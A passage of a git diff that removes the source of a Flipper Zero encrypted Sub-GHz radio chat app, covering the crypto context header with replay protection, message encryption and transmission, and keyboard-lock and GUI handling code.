ESubGhzChatReplayDict_next(i), ret++) {
|
|
||||||
ESubGhzChatReplayDict_itref_t* ref = ESubGhzChatReplayDict_ref(i);
|
|
||||||
if(!writer(ref->key, ref->value, writer_ctx)) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t crypto_ctx_read_replay_dict(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
CryptoCtxReplayDictReader reader,
|
|
||||||
void* reader_ctx) {
|
|
||||||
size_t ret = 0;
|
|
||||||
|
|
||||||
uint64_t run_id;
|
|
||||||
uint32_t counter;
|
|
||||||
|
|
||||||
while(reader(&run_id, &counter, reader_ctx)) {
|
|
||||||
ESubGhzChatReplayDict_set_at(ctx->replay_dict, run_id, counter);
|
|
||||||
ret++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define RUN_ID_BYTES (sizeof(uint64_t))
|
|
||||||
#define COUNTER_BYTES (sizeof(uint32_t))
|
|
||||||
#define KEY_BITS 256
|
|
||||||
#define IV_BYTES 12
|
|
||||||
#define TAG_BYTES 16
|
|
||||||
|
|
||||||
#define MSG_OVERHEAD (RUN_ID_BYTES + COUNTER_BYTES + IV_BYTES + TAG_BYTES)
|
|
||||||
|
|
||||||
typedef struct ESugGhzChatCryptoCtx ESubGhzChatCryptoCtx;
|
|
||||||
|
|
||||||
void crypto_init(void);
|
|
||||||
|
|
||||||
/* Function to clear sensitive memory. */
|
|
||||||
void crypto_explicit_bzero(void* s, size_t len);
|
|
||||||
|
|
||||||
ESubGhzChatCryptoCtx* crypto_ctx_alloc(void);
|
|
||||||
void crypto_ctx_free(ESubGhzChatCryptoCtx* ctx);
|
|
||||||
|
|
||||||
void crypto_ctx_clear(ESubGhzChatCryptoCtx* ctx);
|
|
||||||
|
|
||||||
bool crypto_ctx_set_key(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
const uint8_t* key,
|
|
||||||
FuriString* flipper_name,
|
|
||||||
uint32_t tick);
|
|
||||||
void crypto_ctx_get_key(ESubGhzChatCryptoCtx* ctx, uint8_t* key);
|
|
||||||
|
|
||||||
bool crypto_ctx_decrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
|
|
||||||
bool crypto_ctx_encrypt(ESubGhzChatCryptoCtx* ctx, uint8_t* in, size_t in_len, uint8_t* out);
|
|
||||||
|
|
||||||
typedef bool (*CryptoCtxReplayDictWriter)(uint64_t run_id, uint32_t counter, void* context);
|
|
||||||
typedef bool (*CryptoCtxReplayDictReader)(uint64_t* run_id, uint32_t* counter, void* context);
|
|
||||||
|
|
||||||
size_t crypto_ctx_dump_replay_dict(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
CryptoCtxReplayDictWriter writer,
|
|
||||||
void* writer_ctx);
|
|
||||||
size_t crypto_ctx_read_replay_dict(
|
|
||||||
ESubGhzChatCryptoCtx* ctx,
|
|
||||||
CryptoCtxReplayDictReader reader,
|
|
||||||
void* reader_ctx);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
703
applications/external/esubghz_chat/esubghz_chat.c
vendored
@@ -1,703 +0,0 @@
|
|||||||
#include <furi_hal.h>
|
|
||||||
#include <gui/elements.h>
|
|
||||||
#include <gui/gui.h>
|
|
||||||
|
|
||||||
#include "helpers/radio_device_loader.h"
|
|
||||||
#include "esubghz_chat_i.h"
|
|
||||||
|
|
||||||
#define CHAT_LEAVE_DELAY 10
|
|
||||||
#define TICK_INTERVAL 50
|
|
||||||
#define MESSAGE_COMPLETION_TIMEOUT 500
|
|
||||||
|
|
||||||
#define KBD_UNLOCK_CNT 3
|
|
||||||
#define KBD_UNLOCK_TIMEOUT 1000
|
|
||||||
|
|
||||||
/* Callback for RX events from the Sub-GHz worker. Records the current ticks as
|
|
||||||
* the time of the last reception. */
|
|
||||||
static void have_read_cb(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
state->last_time_rx_data = furi_get_tick();
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Sets the header for the chat input field depending on whether or not a
|
|
||||||
* message preview exists. */
|
|
||||||
void set_chat_input_header(ESubGhzChatState* state) {
|
|
||||||
if(strlen(state->msg_preview) == 0) {
|
|
||||||
text_input_set_header_text(state->text_input, "Message");
|
|
||||||
} else {
|
|
||||||
text_input_set_header_text(state->text_input, state->msg_preview);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Appends the latest message to the chat box and prepares the message preview.
|
|
||||||
*/
|
|
||||||
void append_msg(ESubGhzChatState* state, const char* msg) {
|
|
||||||
/* append message to text box */
|
|
||||||
furi_string_cat_printf(state->chat_box_store, "\n%s", msg);
|
|
||||||
|
|
||||||
/* prepare message preview */
|
|
||||||
strncpy(state->msg_preview, msg, MSG_PREVIEW_SIZE);
|
|
||||||
state->msg_preview[MSG_PREVIEW_SIZE] = 0;
|
|
||||||
set_chat_input_header(state);
|
|
||||||
|
|
||||||
/* reset text box contents and focus */
|
|
||||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
|
||||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Decrypts a message for post_rx(). */
|
|
||||||
static bool post_rx_decrypt(ESubGhzChatState* state, size_t rx_size) {
|
|
||||||
bool ret = crypto_ctx_decrypt(
|
|
||||||
state->crypto_ctx, state->rx_buffer, rx_size, (uint8_t*)state->rx_str_buffer);
|
|
||||||
|
|
||||||
if(ret) {
|
|
||||||
state->rx_str_buffer[rx_size - (MSG_OVERHEAD)] = 0;
|
|
||||||
} else {
|
|
||||||
state->rx_str_buffer[0] = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Post RX handler, decrypts received messages and calls append_msg(). */
|
|
||||||
static void post_rx(ESubGhzChatState* state, size_t rx_size) {
|
|
||||||
furi_assert(state);
|
|
||||||
|
|
||||||
if(rx_size == 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
furi_check(rx_size <= RX_TX_BUFFER_SIZE);
|
|
||||||
|
|
||||||
/* decrypt if necessary */
|
|
||||||
if(!state->encrypted) {
|
|
||||||
memcpy(state->rx_str_buffer, state->rx_buffer, rx_size);
|
|
||||||
state->rx_str_buffer[rx_size] = 0;
|
|
||||||
|
|
||||||
/* remove trailing newline if it is there, for compat with CLI
|
|
||||||
* Sub-GHz chat */
|
|
||||||
if(state->rx_str_buffer[rx_size - 1] == '\n') {
|
|
||||||
state->rx_str_buffer[rx_size - 1] = 0;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
/* if decryption fails output an error message */
|
|
||||||
if(!post_rx_decrypt(state, rx_size)) {
|
|
||||||
strcpy(state->rx_str_buffer, "ERR: Decryption failed!");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* append message to text box and prepare message preview */
|
|
||||||
append_msg(state, state->rx_str_buffer);
|
|
||||||
|
|
||||||
/* send notification (make the flipper vibrate) */
|
|
||||||
notification_message(state->notification, &sequence_single_vibro);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Reads the message from msg_input, encrypts it if necessary and then
|
|
||||||
* transmits it. */
|
|
||||||
void tx_msg_input(ESubGhzChatState* state) {
|
|
||||||
/* encrypt message if necessary */
|
|
||||||
size_t msg_len = strlen(furi_string_get_cstr(state->msg_input));
|
|
||||||
size_t tx_size = msg_len;
|
|
||||||
if(state->encrypted) {
|
|
||||||
tx_size += MSG_OVERHEAD;
|
|
||||||
furi_check(tx_size <= sizeof(state->tx_buffer));
|
|
||||||
|
|
||||||
crypto_ctx_encrypt(
|
|
||||||
state->crypto_ctx,
|
|
||||||
(uint8_t*)furi_string_get_cstr(state->msg_input),
|
|
||||||
msg_len,
|
|
||||||
state->tx_buffer);
|
|
||||||
} else {
|
|
||||||
tx_size += 2;
|
|
||||||
furi_check(tx_size <= sizeof(state->tx_buffer));
|
|
||||||
memcpy(state->tx_buffer, furi_string_get_cstr(state->msg_input), msg_len);
|
|
||||||
|
|
||||||
/* append \r\n for compat with Sub-GHz CLI chat */
|
|
||||||
state->tx_buffer[msg_len] = '\r';
|
|
||||||
state->tx_buffer[msg_len + 1] = '\n';
|
|
||||||
}
|
|
||||||
|
|
||||||
/* transmit */
|
|
||||||
subghz_tx_rx_worker_write(state->subghz_worker, state->tx_buffer, tx_size);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Displays information on frequency, encryption and radio type in the text
|
|
||||||
* box. Also clears the text input buffer to remove the password and starts the
|
|
||||||
* Sub-GHz worker. After starting the worker a join message is transmitted. */
|
|
||||||
void enter_chat(ESubGhzChatState* state) {
|
|
||||||
furi_string_cat_printf(state->chat_box_store, "Frequency: %lu", state->frequency);
|
|
||||||
|
|
||||||
furi_string_cat_printf(
|
|
||||||
state->chat_box_store, "\nEncrypted: %s", (state->encrypted ? "yes" : "no"));
|
|
||||||
|
|
||||||
subghz_tx_rx_worker_start(state->subghz_worker, state->subghz_device, state->frequency);
|
|
||||||
|
|
||||||
if(strcmp(state->subghz_device->name, "cc1101_ext") == 0) {
|
|
||||||
furi_string_cat_printf(state->chat_box_store, "\nRadio: External");
|
|
||||||
} else {
|
|
||||||
furi_string_cat_printf(state->chat_box_store, "\nRadio: Internal");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* concatenate the name prefix and join message */
|
|
||||||
furi_string_set(state->msg_input, state->name_prefix);
|
|
||||||
furi_string_cat_str(state->msg_input, " joined chat.");
|
|
||||||
|
|
||||||
/* encrypt and transmit message */
|
|
||||||
tx_msg_input(state);
|
|
||||||
|
|
||||||
/* clear message input buffer */
|
|
||||||
furi_string_set_char(state->msg_input, 0, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Sends a leave message */
|
|
||||||
void exit_chat(ESubGhzChatState* state) {
|
|
||||||
/* concatenate the name prefix and leave message */
|
|
||||||
furi_string_set(state->msg_input, state->name_prefix);
|
|
||||||
furi_string_cat_str(state->msg_input, " left chat.");
|
|
||||||
|
|
||||||
/* encrypt and transmit message */
|
|
||||||
tx_msg_input(state);
|
|
||||||
|
|
||||||
/* clear message input buffer */
|
|
||||||
furi_string_set_char(state->msg_input, 0, 0);
|
|
||||||
|
|
||||||
/* wait for leave message to be delivered */
|
|
||||||
furi_delay_ms(CHAT_LEAVE_DELAY);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Whether or not to display the locked message. */
|
|
||||||
static bool kbd_lock_msg_display(ESubGhzChatState* state) {
|
|
||||||
return (state->kbd_lock_msg_ticks != 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Whether or not to hide the locked message again. */
|
|
||||||
static bool kbd_lock_msg_reset_timeout(ESubGhzChatState* state) {
|
|
||||||
if(state->kbd_lock_msg_ticks == 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(furi_get_tick() - state->kbd_lock_msg_ticks > KBD_UNLOCK_TIMEOUT) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Resets the timeout for the locked message and turns off the backlight if
|
|
||||||
* specified. */
|
|
||||||
static void kbd_lock_msg_reset(ESubGhzChatState* state, bool backlight_off) {
|
|
||||||
state->kbd_lock_msg_ticks = 0;
|
|
||||||
state->kbd_lock_count = 0;
|
|
||||||
|
|
||||||
if(backlight_off) {
|
|
||||||
notification_message(state->notification, &sequence_display_backlight_off);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Locks the keyboard. */
|
|
||||||
static void kbd_lock(ESubGhzChatState* state) {
|
|
||||||
state->kbd_locked = true;
|
|
||||||
kbd_lock_msg_reset(state, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Unlocks the keyboard. */
|
|
||||||
static void kbd_unlock(ESubGhzChatState* state) {
|
|
||||||
state->kbd_locked = false;
|
|
||||||
kbd_lock_msg_reset(state, false);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Custom event callback for view dispatcher. Just calls scene manager. */
|
|
||||||
static bool esubghz_chat_custom_event_callback(void* context, uint32_t event) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_custom_event_callback");
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
return scene_manager_handle_custom_event(state->scene_manager, event);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Navigation event callback for view dispatcher. Just calls scene manager. */
|
|
||||||
static bool esubghz_chat_navigation_event_callback(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_navigation_event_callback");
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
return scene_manager_handle_back_event(state->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Tick event callback for view dispatcher. Called every TICK_INTERVAL. Resets
|
|
||||||
* the locked message if necessary. Retrieves a received message from the
|
|
||||||
* Sub-GHz worker and calls post_rx(). Then calls the scene manager. */
|
|
||||||
static void esubghz_chat_tick_event_callback(void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_chat_tick_event_callback");
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
/* reset locked message if necessary */
|
|
||||||
if(kbd_lock_msg_reset_timeout(state)) {
|
|
||||||
kbd_lock_msg_reset(state, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* if the maximum message size was reached or the
|
|
||||||
* MESSAGE_COMPLETION_TIMEOUT has expired, retrieve a message and call
|
|
||||||
* post_rx() */
|
|
||||||
size_t avail = 0;
|
|
||||||
while((avail = subghz_tx_rx_worker_available(state->subghz_worker)) > 0) {
|
|
||||||
volatile uint32_t since_last_rx = furi_get_tick() - state->last_time_rx_data;
|
|
||||||
if(avail < RX_TX_BUFFER_SIZE && since_last_rx < MESSAGE_COMPLETION_TIMEOUT) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t rx_size =
|
|
||||||
subghz_tx_rx_worker_read(state->subghz_worker, state->rx_buffer, RX_TX_BUFFER_SIZE);
|
|
||||||
post_rx(state, rx_size);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* call scene manager */
|
|
||||||
scene_manager_handle_tick_event(state->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Hooks into the view port's draw callback to overlay the keyboard locked
|
|
||||||
* message. */
|
|
||||||
static void esubghz_hooked_draw_callback(Canvas* canvas, void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_draw_callback");
|
|
||||||
|
|
||||||
furi_assert(canvas);
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
/* call original callback */
|
|
||||||
state->orig_draw_cb(canvas, state->view_dispatcher);
|
|
||||||
|
|
||||||
/* display if the keyboard is locked */
|
|
||||||
if(state->kbd_locked) {
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
elements_multiline_text_framed(canvas, 42, 30, "Locked");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* display the unlock message if necessary */
|
|
||||||
if(kbd_lock_msg_display(state)) {
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
|
|
||||||
elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
|
|
||||||
canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
|
|
||||||
canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
|
|
||||||
canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
|
|
||||||
canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Hooks into the view port's input callback to handle the user locking the
|
|
||||||
* keyboard. */
|
|
||||||
static void esubghz_hooked_input_callback(InputEvent* event, void* context) {
|
|
||||||
FURI_LOG_T(APPLICATION_NAME, "esubghz_hooked_input_callback");
|
|
||||||
|
|
||||||
furi_assert(event);
|
|
||||||
|
|
||||||
furi_assert(context);
|
|
||||||
ESubGhzChatState* state = context;
|
|
||||||
|
|
||||||
/* if the keyboard is locked no key presses are forwarded */
|
|
||||||
if(state->kbd_locked) {
|
|
||||||
/* key has been pressed, display the unlock message and
|
|
||||||
* initiate the timer */
|
|
||||||
if(state->kbd_lock_count == 0) {
|
|
||||||
state->kbd_lock_msg_ticks = furi_get_tick();
|
|
||||||
}
|
|
||||||
|
|
||||||
/* back button has been pressed, increase the lock counter */
|
|
||||||
if(event->key == InputKeyBack && event->type == InputTypeShort) {
|
|
||||||
state->kbd_lock_count++;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* unlock the keyboard */
|
|
||||||
if(state->kbd_lock_count >= KBD_UNLOCK_CNT) {
|
|
||||||
kbd_unlock(state);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* do not handle the event */
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(event->key == InputKeyOk) {
|
|
||||||
/* if we are in the chat view and no input is ongoing, allow
|
|
||||||
* locking */
|
|
||||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
|
||||||
!(state->kbd_ok_input_ongoing)) {
|
|
||||||
/* lock keyboard upon long press of Ok button */
|
|
||||||
if(event->type == InputTypeLong) {
|
|
||||||
kbd_lock(state);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* do not handle any Ok key events to prevent blocking
|
|
||||||
* of other keys */
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* handle ongoing inputs when changing to chat view */
|
|
||||||
if(event->type == InputTypePress) {
|
|
||||||
state->kbd_ok_input_ongoing = true;
|
|
||||||
} else if(event->type == InputTypeRelease) {
|
|
||||||
state->kbd_ok_input_ongoing = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(event->key == InputKeyLeft) {
|
|
||||||
/* if we are in the chat view and no input is ongoing, allow
|
|
||||||
* switching to msg input */
|
|
||||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
|
||||||
!(state->kbd_left_input_ongoing)) {
|
|
||||||
/* go to msg input upon short press of Left button */
|
|
||||||
if(event->type == InputTypeShort) {
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_GotoMsgInput);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* do not handle any Left key events to prevent
|
|
||||||
* blocking of other keys */
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* handle ongoing inputs when changing to chat view */
|
|
||||||
if(event->type == InputTypePress) {
|
|
||||||
state->kbd_left_input_ongoing = true;
|
|
||||||
} else if(event->type == InputTypeRelease) {
|
|
||||||
state->kbd_left_input_ongoing = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(event->key == InputKeyRight) {
|
|
||||||
/* if we are in the chat view and no input is ongoing, allow
|
|
||||||
* switching to key display */
|
|
||||||
if(state->view_dispatcher->current_view == text_box_get_view(state->chat_box) &&
|
|
||||||
!(state->kbd_right_input_ongoing)) {
|
|
||||||
/* go to key display upon short press of Right button
|
|
||||||
*/
|
|
||||||
if(event->type == InputTypeShort) {
|
|
||||||
view_dispatcher_send_custom_event(
|
|
||||||
state->view_dispatcher, ESubGhzChatEvent_GotoKeyDisplay);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* do not handle any Right key events to prevent
|
|
||||||
* blocking of other keys */
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* handle ongoing inputs when changing to chat view */
|
|
||||||
if(event->type == InputTypePress) {
|
|
||||||
state->kbd_right_input_ongoing = true;
|
|
||||||
} else if(event->type == InputTypeRelease) {
|
|
||||||
state->kbd_right_input_ongoing = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* call original callback */
|
|
||||||
state->orig_input_cb(event, state->view_dispatcher);
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool helper_strings_alloc(ESubGhzChatState* state) {
|
|
||||||
furi_assert(state);
|
|
||||||
|
|
||||||
state->name_prefix = furi_string_alloc();
|
|
||||||
if(state->name_prefix == NULL) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->msg_input = furi_string_alloc();
|
|
||||||
if(state->msg_input == NULL) {
|
|
||||||
furi_string_free(state->name_prefix);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void helper_strings_free(ESubGhzChatState* state) {
|
|
||||||
furi_assert(state);
|
|
||||||
|
|
||||||
furi_string_free(state->name_prefix);
|
|
||||||
furi_string_free(state->msg_input);
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool chat_box_alloc(ESubGhzChatState* state) {
|
|
||||||
furi_assert(state);
|
|
||||||
|
|
||||||
state->chat_box = text_box_alloc();
|
|
||||||
if(state->chat_box == NULL) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->chat_box_store = furi_string_alloc();
|
|
||||||
if(state->chat_box_store == NULL) {
|
|
||||||
text_box_free(state->chat_box);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
furi_string_reserve(state->chat_box_store, CHAT_BOX_STORE_SIZE);
|
|
||||||
furi_string_set_char(state->chat_box_store, 0, 0);
|
|
||||||
text_box_set_text(state->chat_box, furi_string_get_cstr(state->chat_box_store));
|
|
||||||
text_box_set_focus(state->chat_box, TextBoxFocusEnd);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void chat_box_free(ESubGhzChatState* state) {
|
|
||||||
furi_assert(state);
|
|
||||||
|
|
||||||
text_box_free(state->chat_box);
|
|
||||||
furi_string_free(state->chat_box_store);
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t esubghz_chat(void) {
|
|
||||||
/* init the crypto system */
|
|
||||||
crypto_init();
|
|
||||||
|
|
||||||
int32_t err = -1;
|
|
||||||
|
|
||||||
FURI_LOG_I(APPLICATION_NAME, "Starting...");
|
|
||||||
|
|
||||||
/* allocate necessary structs and buffers */
|
|
||||||
|
|
||||||
ESubGhzChatState* state = malloc(sizeof(ESubGhzChatState));
|
|
||||||
if(state == NULL) {
|
|
||||||
goto err_alloc;
|
|
||||||
}
|
|
||||||
memset(state, 0, sizeof(*state));
|
|
||||||
|
|
||||||
state->scene_manager = scene_manager_alloc(&esubghz_chat_scene_event_handlers, state);
|
|
||||||
if(state->scene_manager == NULL) {
|
|
||||||
goto err_alloc_sm;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->view_dispatcher = view_dispatcher_alloc();
|
|
||||||
if(state->view_dispatcher == NULL) {
|
|
||||||
goto err_alloc_vd;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!helper_strings_alloc(state)) {
|
|
||||||
goto err_alloc_hs;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->menu = menu_alloc();
|
|
||||||
if(state->menu == NULL) {
|
|
||||||
goto err_alloc_menu;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->text_input = text_input_alloc();
|
|
||||||
if(state->text_input == NULL) {
|
|
||||||
goto err_alloc_ti;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->hex_key_input = byte_input_alloc();
|
|
||||||
if(state->hex_key_input == NULL) {
|
|
||||||
goto err_alloc_hki;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(!chat_box_alloc(state)) {
|
|
||||||
goto err_alloc_cb;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->key_display = dialog_ex_alloc();
|
|
||||||
if(state->key_display == NULL) {
|
|
||||||
goto err_alloc_kd;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->nfc_popup = popup_alloc();
|
|
||||||
if(state->nfc_popup == NULL) {
|
|
||||||
goto err_alloc_np;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->subghz_worker = subghz_tx_rx_worker_alloc();
|
|
||||||
if(state->subghz_worker == NULL) {
|
|
||||||
goto err_alloc_worker;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->nfc_worker = nfc_worker_alloc();
|
|
||||||
if(state->nfc_worker == NULL) {
|
|
||||||
goto err_alloc_nworker;
|
|
||||||
}
|
|
||||||
|
|
||||||
state->nfc_dev_data = malloc(sizeof(NfcDeviceData));
|
|
||||||
if(state->nfc_dev_data == NULL) {
|
|
||||||
goto err_alloc_ndevdata;
|
|
||||||
}
|
|
||||||
memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData));
|
|
||||||
|
|
||||||
state->crypto_ctx = crypto_ctx_alloc();
|
|
||||||
if(state->crypto_ctx == NULL) {
|
|
||||||
goto err_alloc_crypto;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* set the default frequency */
|
|
||||||
state->frequency = DEFAULT_FREQ;
|
|
||||||
|
|
||||||
/* set the have_read callback of the Sub-GHz worker */
|
|
||||||
subghz_tx_rx_worker_set_callback_have_read(state->subghz_worker, have_read_cb, state);
|
|
||||||
|
|
||||||
/* enter suppress charge mode */
|
|
||||||
furi_hal_power_suppress_charge_enter();
|
|
||||||
|
|
||||||
/* init internal device */
|
|
||||||
subghz_devices_init();
|
|
||||||
|
|
||||||
state->subghz_device =
|
|
||||||
radio_device_loader_set(state->subghz_device, SubGhzRadioDeviceTypeExternalCC1101);
|
|
||||||
|
|
||||||
subghz_devices_reset(state->subghz_device);
|
|
||||||
subghz_devices_idle(state->subghz_device);
|
|
||||||
|
|
||||||
/* set chat name prefix */
|
|
||||||
furi_string_printf(state->name_prefix, "%s", furi_hal_version_get_name_ptr());
|
|
||||||
|
|
||||||
/* get notification record, we use this to make the flipper vibrate */
|
|
||||||
/* no error handling here, don't know how */
|
|
||||||
state->notification = furi_record_open(RECORD_NOTIFICATION);
|
|
||||||
|
|
||||||
/* hook into the view port's draw and input callbacks */
|
|
||||||
state->orig_draw_cb = state->view_dispatcher->view_port->draw_callback;
|
|
||||||
state->orig_input_cb = state->view_dispatcher->view_port->input_callback;
|
|
||||||
view_port_draw_callback_set(
|
|
||||||
state->view_dispatcher->view_port, esubghz_hooked_draw_callback, state);
|
|
||||||
view_port_input_callback_set(
|
|
||||||
state->view_dispatcher->view_port, esubghz_hooked_input_callback, state);
|
|
||||||
|
|
||||||
view_dispatcher_enable_queue(state->view_dispatcher);
|
|
||||||
|
|
||||||
/* set callbacks for view dispatcher */
|
|
||||||
view_dispatcher_set_event_callback_context(state->view_dispatcher, state);
|
|
||||||
view_dispatcher_set_custom_event_callback(
|
|
||||||
state->view_dispatcher, esubghz_chat_custom_event_callback);
|
|
||||||
view_dispatcher_set_navigation_event_callback(
|
|
||||||
state->view_dispatcher, esubghz_chat_navigation_event_callback);
|
|
||||||
view_dispatcher_set_tick_event_callback(
|
|
||||||
state->view_dispatcher, esubghz_chat_tick_event_callback, TICK_INTERVAL);
|
|
||||||
|
|
||||||
/* add our two views to the view dispatcher */
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher, ESubGhzChatView_Menu, menu_get_view(state->menu));
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher, ESubGhzChatView_Input, text_input_get_view(state->text_input));
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher,
|
|
||||||
ESubGhzChatView_HexKeyInput,
|
|
||||||
byte_input_get_view(state->hex_key_input));
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher, ESubGhzChatView_ChatBox, text_box_get_view(state->chat_box));
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher,
|
|
||||||
ESubGhzChatView_KeyDisplay,
|
|
||||||
dialog_ex_get_view(state->key_display));
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
state->view_dispatcher, ESubGhzChatView_NfcPopup, popup_get_view(state->nfc_popup));
|
|
||||||
|
|
||||||
/* get the GUI record and attach the view dispatcher to the GUI */
|
|
||||||
/* no error handling here, don't know how */
|
|
||||||
Gui* gui = furi_record_open(RECORD_GUI);
|
|
||||||
view_dispatcher_attach_to_gui(state->view_dispatcher, gui, ViewDispatcherTypeFullscreen);
|
|
||||||
|
|
||||||
/* switch to the key menu scene */
|
|
||||||
scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_KeyMenu);
|
|
||||||
|
|
||||||
/* run the view dispatcher, this call only returns when we close the
|
|
||||||
* application */
|
|
||||||
view_dispatcher_run(state->view_dispatcher);
|
|
||||||
|
|
||||||
/* if it is running, stop the Sub-GHz worker */
|
|
||||||
if(subghz_tx_rx_worker_is_running(state->subghz_worker)) {
|
|
||||||
exit_chat(state);
|
|
||||||
subghz_tx_rx_worker_stop(state->subghz_worker);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* if it is running, stop the NFC worker */
|
|
||||||
nfc_worker_stop(state->nfc_worker);
|
|
||||||
|
|
||||||
err = 0;
|
|
||||||
